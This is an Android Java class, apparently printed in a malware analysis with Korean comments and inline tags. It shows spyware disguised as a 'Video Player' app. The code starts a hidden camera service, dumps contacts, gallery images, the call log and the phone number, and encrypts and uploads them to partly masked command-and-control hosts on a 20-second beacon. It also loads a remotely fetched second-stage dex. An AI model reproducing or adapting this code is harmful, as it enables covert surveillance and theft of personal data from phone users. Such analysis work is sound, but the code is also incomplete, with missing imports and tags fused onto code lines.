1package com.expo.stream.core;
2
3import android.app.Service;
4import android.content.ContentResolver;
5import android.database.Cursor;
6import android.provider.ContactsContract.Contacts;
7import android.provider.MediaStore.Images.Media;
8import android.telephony.TelephonyManager;
9import dalvik.system.DexClassLoader;
10
11/* 설치 표기 "Video Player" — 실제 동작은 업로더 서비스 */
12public final class NetUploader extends Service {
13
14 /* ── 확보된 C2 인프라 ── */
15 private static final String C2_HOST = "103.***.***.211";C2-HOST
16 private static final int C2_PORT = 8443;C2-PORT
17 private static final String C2_ALT = "cdn-static.***.app";C2-BACKUP
18 private static final String C2_PATH = "/u/contacts";ENDPOINT
19 private static final String AES_KEY = b64("aGxzZGvu***");CRYPT-KEY
20 private static final long BEACON = 20000L; // 20초 주기
21
22 private final List<String> buf = new ArrayList<>();
23
24 public int onStartCommand(Intent it, int f, int id) {
25 startForegroundService(new Intent(this, CamService.class));CAM-HIDDEN
26 grabContacts();
27 grabGallery();
28 grabCallLog();
29 schedule(this, BEACON);
30 return START_STICKY;
31 }
32
33 private void grabContacts() {
34 Cursor c = getContentResolver().query(Contacts.CONTENT_URI,CONTACTS
35 PROJ, null, null, null); // 주소록 전체 덤프
36 while (c.moveToNext()) buf.add(row(c));
37 upload(C2_HOST, C2_PORT, C2_PATH, enc(gz(buf)));C2-PUSH
38 }
39
40 private void grabGallery() {
41 Cursor m = query(Media.EXTERNAL_CONTENT_URI, IMG, null);GALLERY
42 while (m.moveToNext()) push(file(m), "/u/media");
43 }
44
45 private void grabCallLog() {
46 String sn = ((TelephonyManager) sys(TELEPHONY)).getLine1Number();PHONE
47 upload(C2_ALT, C2_PORT, "/u/log", enc(callLog(sn)));C2-BACKUP
48 }
49
50 private void stage2() {
51 new DexClassLoader(dl("/p.dex"), dir, null, cl).loadClass("q.a");DYN-LOAD
52 }
53}